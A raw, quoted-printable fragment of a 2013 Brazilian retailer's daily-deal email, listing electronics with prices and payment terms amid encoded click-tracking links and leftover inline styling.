3VyY2U9MDJfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50= PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wMl8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLn= NnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83735,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9Ob3RlYm9= va3MvU2Ftc3VuZy9ub3RlYm9vay11bHRyYWZpbm8tc2Ftc3VuZy01MzV1M2MtYWQxLWFtZC1hNC= 1kdWFsLWNvcmUtMmdiLTUwMGdiLWxlZC0xNC13aW5kb3dzLTguaHRtP3V0bV9zb3VyY2U9MDJfM= DdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2Ft= cGFpZ249b2ZlcnRhX2RvX2RpYV8wMl8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] S12-PRETO [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83724,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1Byb2pldG9= yZXMvRXBzb24vbXVsdGltaWRpYS1wb3dlci1saXRlLXMxMi1zb255LXRlY25vbG9naWEtMy1sY2= QtcmVzb2x1Y2FvLXN2Z2EtODAweDYwMC1waXhlcy1wcmV0by1zMTItcHJldG8uaHRtP3V0bV9zb= 3VyY2U9MDJfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50= PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wMl8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLn= NnaS5jb20=3D] NP535U3C-AD1BR [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83735,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9Ob3RlYm9= va3MvU2Ftc3VuZy9ub3RlYm9vay11bHRyYWZpbm8tc2Ftc3VuZy01MzV1M2MtYWQxLWFtZC1hNC= 1kdWFsLWNvcmUtMmdiLTUwMGdiLWxlZC0xNC13aW5kb3dzLTguaHRtP3V0bV9zb3VyY2U9MDJfM= DdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2Ft= cGFpZ249b2ZlcnRhX2RvX2RpYV8wMl8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Projetor Multim=EDdia Powerlite Epson [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83724,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1Byb2pldG9= yZXMvRXBzb24vbXVsdGltaWRpYS1wb3dlci1saXRlLXMxMi1zb255LXRlY25vbG9naWEtMy1sY2= QtcmVzb2x1Y2FvLXN2Z2EtODAweDYwMC1waXhlcy1wcmV0by1zMTItcHJldG8uaHRtP3V0bV9zb= 3VyY2U9MDJfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50= PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wMl8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLn= NnaS5jb20=3D] Notebook Ultrafino Samsung [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83735,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]https://www.girafa.com.br/= Notebooks/Samsung/notebook-ultrafino-samsung-535u3c-ad1-amd-a4-dual-core-2g= b-500gb-led-14-windows-8.htm?utm_source=3D02_07_13_oferta_do_dia&utm_medium= =3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_02_07_13 border-left:1px solid #f4ac1c; border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * Tecnologia 3LCD * 800x600 Pixels 1.495,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83724,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/P= rojetores/Epson/multimidia-power-lite-s12-sony-tecnologia-3-lcd-resolucao-s= vga-800x600-pixes-preto-s12-preto.htm?utm_source=3D02_07_13_oferta_do_dia&u= tm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_02_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83724,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/P= rojetores/Epson/multimidia-power-lite-s12-sony-tecnologia-3-lcd-resolucao-s= vga-800x600-pixes-preto-s12-preto.htm?utm_source=3D02_07_13_oferta_do_dia&u= tm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_02_07_13font-= weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83724,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/P= rojetores/Epson/multimidia-power-lite-s12-sony-tecnologia-3-lcd-resolucao-s= vga-800x600-pixes-preto-s12-preto.htm?utm_source=3D02_07_13_oferta_do_dia&u= tm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_02_07_13 height:50px; border-left:1px solid #f4ac1c; border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * AMD Dual-Core * 13.3" * HD 500GB * RAM 2GB 1.495,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83735,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]https://www.girafa.com.br/= Notebooks/Samsung/notebook-ultrafino-samsung-535u3c-ad1-amd-a4-dual-core-2g= b-500gb-led-14-windows-8.htm?utm_source=3D02_07_13_oferta_do_dia&utm_medium= =3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_02_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83735,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]https://www.girafa.com.br/= Notebooks/Samsung/notebook-ultrafino-samsung-535u3c-ad1-amd-a4-dual-core-2g= b-500gb-led-14-windows-8.htm?utm_source=3D02_07_13_oferta_do_dia&utm_medium= =3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_02_07_13 font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83735,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9Ob3RlYm9= va3MvU2Ftc3VuZy9ub3RlYm9vay11bHRyYWZpbm8tc2Ftc3VuZy01MzV1M2MtYWQxLWFtZC1hNC= 1kdWFsLWNvcmUtMmdiLTUwMGdiLWxlZC0xNC13aW5kb3dzLTguaHRtP3V0bV9zb3VyY2U9MDJfM= DdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2Ft= cGFpZ249b2ZlcnRhX2RvX2RpYV8wMl8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83725,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RhYmxldC9= NdWx0aWxhc2VyL3RhYmxldC1tdWx0aWxhc2VyLW5iMDMzLWFuZHJvaWQtNDEtMjBtcC1ibHVldG= 9vdGgtZ3BzLWRpby1mbS1yb3NhLmh0bT91dG1fc291cmNlPTAyXzA3XzEzX29mZXJ0YV9kb19ka= WEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19k= aWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83726,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NhbGN1bGF= kb3Jhcy9DYXNpby9ncmFmaWNhLWNsYXNzcGFkLTMzMC10b3VjaHNjcmVlbi1jbGFzc3BhZDMzMC= 5odG0/dXRtX3NvdXJjZT0wMl8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmd= XRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzAyXzA3XzEzJnV0bV90ZXJt= PQ=3D=3D,1,b3NzLnNnaS5jb20=3D] NB033 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83725,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RhYmxldC9= NdWx0aWxhc2VyL3RhYmxldC1tdWx0aWxhc2VyLW5iMDMzLWFuZHJvaWQtNDEtMjBtcC1ibHVldG= 9vdGgtZ3BzLWRpby1mbS1yb3NhLmh0bT91dG1fc291cmNlPTAyXzA3XzEzX29mZXJ0YV9kb19ka= WEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19k= aWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] Classpad330 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83726,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NhbGN1bGF= kb3Jhcy9DYXNpby9ncmFmaWNhLWNsYXNzcGFkLTMzMC10b3VjaHNjcmVlbi1jbGFzc3BhZDMzMC= 5odG0/dXRtX3NvdXJjZT0wMl8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmd= XRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzAyXzA3XzEzJnV0bV90ZXJt= PQ=3D=3D,1,b3NzLnNnaS5jb20=3D] Tablet Multilaser M-Pro [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83725,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RhYmxldC9= NdWx0aWxhc2VyL3RhYmxldC1tdWx0aWxhc2VyLW5iMDMzLWFuZHJvaWQtNDEtMjBtcC1ibHVldG= 9vdGgtZ3BzLWRpby1mbS1yb3NhLmh0bT91dG1fc291cmNlPTAyXzA3XzEzX29mZXJ0YV9kb19ka= WEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19k= aWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] Calculadora Gr=E1fica Casio [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83726,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= alculadoras/Casio/grafica-classpad-330-touchscreen-classpad330.htm?utm_sour= ce=3D02_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign= =3Doferta_do_dia_02_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * GPS * 3G * DUAL CHIP * Tela 7" 659,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83725,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= ablet/Multilaser/tablet-multilaser-nb033-android-41-20mp-bluetooth-gps-dio-= fm-rosa.htm?utm_source=3D02_07_13_oferta_do_dia&utm_medium=3DEmail&utm_cont= ent=3D&utm_campaign=3Doferta_do_dia_02_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83725,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= ablet/Multilaser/tablet-multilaser-nb033-android-41-20mp-bluetooth-gps-dio-= fm-rosa.htm?utm_source=3D02_07_13_oferta_do_dia&utm_medium=3DEmail&utm_cont= ent=3D&utm_campaign=3Doferta_do_dia_02_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83725,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= ablet/Multilaser/tablet-multilaser-nb033-android-41-20mp-bluetooth-gps-dio-= fm-rosa.htm?utm_source=3D02_07_13_oferta_do_dia&utm_medium=3DEmail&utm_cont= ent=3D&utm_campaign=3Doferta_do_dia_02_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * Touchscreen * Gr=E1ficos em 3D 791,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83726,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= alculadoras/Casio/grafica-classpad-330-touchscreen-classpad330.htm?utm_sour= ce=3D02_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign= =3Doferta_do_dia_02_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83726,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= alculadoras/Casio/grafica-classpad-330-touchscreen-classpad330.htm?utm_sour= ce=3D02_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign= =3Doferta_do_dia_02_07_13font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83726,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NhbGN1bGF= kb3Jhcy9DYXNpby9ncmFmaWNhLWNsYXNzcGFkLTMzMC10b3VjaHNjcmVlbi1jbGFzc3BhZDMzMC= 5odG0/dXRtX3NvdXJjZT0wMl8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmd= XRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzAyXzA3XzEzJnV0bV90ZXJt= PQ=3D=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83727,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0ltcHJlc3N= vcmFzL0Vwc29uL211bHRpZnVuY2lvbmFsLWV4cHJlc3Npb24taW5ramV0LWNvbG9yaWRhLWFsdG= EtdmVsb2NpZGFkZS13aS1maS0xMTB2Lmh0bT91dG1fc291cmNlPTAyXzA3XzEzX29mZXJ0YV9kb= 19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9k= b19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83728,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0FjZXNzb3J= pb3MtZGUtaW5mb3JtYXRpY2EvTXVsdGlsYXNlci9oZWFkcGhvbmUtcGgwODEtbXVsdGlsYXNlci= 1yb3RhLTM2MC1oaS1maS1zdXBlci1iYXNzLXByZXRvLmh0bT91dG1fc291cmNlPTAyXzA3XzEzX= 29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWdu= PW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] XP-401 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83727,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0ltcHJlc3N= vcmFzL0Vwc29uL211bHRpZnVuY2lvbmFsLWV4cHJlc3Npb24taW5ramV0LWNvbG9yaWRhLWFsdG= EtdmVsb2NpZGFkZS13aS1maS0xMTB2Lmh0bT91dG1fc291cmNlPTAyXzA3XzEzX29mZXJ0YV9kb= 19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9k= b19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] PH081 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83728,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0FjZXNzb3J= pb3MtZGUtaW5mb3JtYXRpY2EvTXVsdGlsYXNlci9oZWFkcGhvbmUtcGgwODEtbXVsdGlsYXNlci= 1yb3RhLTM2MC1oaS1maS1zdXBlci1iYXNzLXByZXRvLmh0bT91dG1fc291cmNlPTAyXzA3XzEzX= 29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWdu= PW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] Multifuncional Expression Inkjet [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83727,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0ltcHJlc3N= vcmFzL0Vwc29uL211bHRpZnVuY2lvbmFsLWV4cHJlc3Npb24taW5ramV0LWNvbG9yaWRhLWFsdG= EtdmVsb2NpZGFkZS13aS1maS0xMTB2Lmh0bT91dG1fc291cmNlPTAyXzA3XzEzX29mZXJ0YV9kb= 19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9k= b19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] Headphone Multilaser [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83728,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/A= cessorios-de-informatica/Multilaser/headphone-ph081-multilaser-rota-360-hi-= fi-super-bass-preto.htm?utm_source=3D02_07_13_oferta_do_dia&utm_medium=3DEm= ail&utm_content=3D&utm_campaign=3Doferta_do_dia_02_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * Alta Velocidade * Wi-Fi 324,72 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83727,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/I= mpressoras/Epson/multifuncional-expression-inkjet-colorida-alta-velocidade-= wi-fi-110v.htm?utm_source=3D02_07_13_oferta_do_dia&utm_medium=3DEmail&utm_c= ontent=3D&utm_campaign=3Doferta_do_dia_02_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83727,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/I= mpressoras/Epson/multifuncional-expression-inkjet-colorida-alta-velocidade-= wi-fi-110v.htm?utm_source=3D02_07_13_oferta_do_dia&utm_medium=3DEmail&utm_c= ontent=3D&utm_campaign=3Doferta_do_dia_02_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83727,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/I= mpressoras/Epson/multifuncional-expression-inkjet-colorida-alta-velocidade-= wi-fi-110v.htm?utm_source=3D02_07_13_oferta_do_dia&utm_medium=3DEmail&utm_c= ontent=3D&utm_campaign=3Doferta_do_dia_02_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * Rota=E7=E3o 360 * HI-FI Super Bass 56,31 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83728,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/A= cessorios-de-informatica/Multilaser/headphone-ph081-multilaser-rota-360-hi-= fi-super-bass-preto.htm?utm_source=3D02_07_13_oferta_do_dia&utm_medium=3DEm= ail&utm_content=3D&utm_campaign=3Doferta_do_dia_02_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83728,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/A= cessorios-de-informatica/Multilaser/headphone-ph081-multilaser-rota-360-hi-= fi-super-bass-preto.htm?utm_source=3D02_07_13_oferta_do_dia&utm_medium=3DEm= ail&utm_content=3D&utm_campaign=3Doferta_do_dia_02_07_13font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83728,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0FjZXNzb3J= pb3MtZGUtaW5mb3JtYXRpY2EvTXVsdGlsYXNlci9oZWFkcGhvbmUtcGgwODEtbXVsdGlsYXNlci= 1yb3RhLTM2MC1oaS1maS1zdXBlci1iYXNzLXByZXRvLmh0bT91dG1fc291cmNlPTAyXzA3XzEzX= 29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWdu= PW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83729,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1JvdGVhZG9= yZXMvQXN1cy9yb3RlYWRvci1kc2wtbjEwLWFzdXMtbW9kZW0tcHJldG8tMTJ3LTE1MC1tYnBzLm= h0bT91dG1fc291cmNlPTAyXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1d= G1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09= ,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83730,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0hELUV4dGV= ybm8vU29ueS9oZC1leHRlcm5vLWhkLWVnNS1zb255LTUwMGdiLXByZXRvLmh0bT91dG1fc291cm= NlPTAyXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0md= XRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb= 20=3D] DSL-N10 I [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83729,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1JvdGVhZG9= yZXMvQXN1cy9yb3RlYWRvci1kc2wtbjEwLWFzdXMtbW9kZW0tcHJldG8tMTJ3LTE1MC1tYnBzLm= h0bT91dG1fc291cmNlPTAyXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1d= G1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09= ,1,b3NzLnNnaS5jb20=3D] HD-EG5/BO2 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83730,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0hELUV4dGV= ybm8vU29ueS9oZC1leHRlcm5vLWhkLWVnNS1zb255LTUwMGdiLXByZXRvLmh0bT91dG1fc291cm= NlPTAyXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0md= XRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb= 20=3D] Roteador Asus [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83729,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1JvdGVhZG9= yZXMvQXN1cy9yb3RlYWRvci1kc2wtbjEwLWFzdXMtbW9kZW0tcHJldG8tMTJ3LTE1MC1tYnBzLm= h0bT91dG1fc291cmNlPTAyXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1d= G1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09= ,1,b3NzLnNnaS5jb20=3D] HD Externo Sony [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83730,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/H= D-Externo/Sony/hd-externo-hd-eg5-sony-500gb-preto.htm?utm_source=3D02_07_13= _oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_d= ia_02_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * Modem=20 * 12W * 150Mbps 210,32 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83729,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/R= oteadores/Asus/roteador-dsl-n10-asus-modem-preto-12w-150-mbps.htm?utm_sourc= e=3D02_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign= =3Doferta_do_dia_02_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83729,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/R= oteadores/Asus/roteador-dsl-n10-asus-modem-preto-12w-150-mbps.htm?utm_sourc= e=3D02_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign= =3Doferta_do_dia_02_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83729,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/R= oteadores/Asus/roteador-dsl-n10-asus-modem-preto-12w-150-mbps.htm?utm_sourc= e=3D02_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign= =3Doferta_do_dia_02_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * 500GB * 4.5W * Bus USB 201,52 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83730,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/H= D-Externo/Sony/hd-externo-hd-eg5-sony-500gb-preto.htm?utm_source=3D02_07_13= _oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_d= ia_02_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83730,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/H= D-Externo/Sony/hd-externo-hd-eg5-sony-500gb-preto.htm?utm_source=3D02_07_13= _oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_d= ia_02_07_13font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83730,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0hELUV4dGV= ybm8vU29ueS9oZC1leHRlcm5vLWhkLWVnNS1zb255LTUwMGdiLXByZXRvLmh0bT91dG1fc291cm= NlPTAyXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0md= 